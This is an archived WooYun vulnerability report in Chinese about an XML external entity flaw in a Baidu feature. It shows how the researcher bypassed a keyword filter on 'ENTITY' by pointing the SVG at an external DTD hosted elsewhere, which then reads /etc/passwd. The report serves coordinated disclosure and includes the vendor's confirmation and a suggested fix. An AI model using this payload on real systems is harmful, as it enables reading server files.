当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059783

漏洞标题:百度某功能XML实体注入(二)

相关厂商:百度

漏洞作者: gainover

提交时间:2014-05-07 15:56

修复时间:2014-06-21 15:57

公开时间:2014-06-21 15:57

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-07: 细节已通知厂商并且等待厂商处理中
2014-05-07: 厂商已经确认,细节仅向厂商公开
2014-05-17: 细节向核心白帽子及相关领域专家公开
2014-05-27: 细节向普通白帽子公开
2014-06-06: 细节向实习白帽子公开
2014-06-21: 细节向公众公开

简要描述:

嗯,回头看了看,想看看百度是怎么修复的,猜测了下百度的修复方式,然后就。。。绕过了。

详细说明:

1.首先试了试之前的测试代码,返回错误页面,那么百度是如何修复的呢?
2. 再看看是否允许定义空的DTD

<!DOCTYPE svg[  ]>


返回正常。
3. 加入ENTITY试试。。

<!DOCTYPE svg[<!ENTITY test "aaaaaaaaaaaaaaaa">]>


返回错误
4. 猜测,是否是过滤了 ENTITY 这个单词?

<text>aaaaa</text>


返回正常
在内容里插入 文字 ENTITY

<text>aaENTITYaaa</text>


返回错误
5. 看来,百度在这里对 ENTITY 这个单词进行了过滤。
6. 那么,可不可以不用ENTITY 这个单词来实现XXE呢?
答案是有的。
DTD 本身就支持调用外部的DTD文件,因此我们只需要在SVG里加一个外部的DTD,如下:

<!DOCTYPE svg SYSTEM "http://xsst.sinaapp.com/test/xxe_sys.dtd">


xxe_sys.dtd内容如下:

<!ENTITY test SYSTEM "file:///etc/passwd">


7. 这样我们又可以读取passwd内容了,如下图所示:

bdxxe.jpg

漏洞证明:

见详细说明。

修复方案:

光判断ENTITY这个词好像不靠谱,如果要从内容这个角度来过滤的话,还不如把DOCTYPE干掉吧!

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-05-07 17:22

厂商回复:

感谢提交,我们会立即处理此问题。
--“百度,因你更安全”

最新状态:

暂无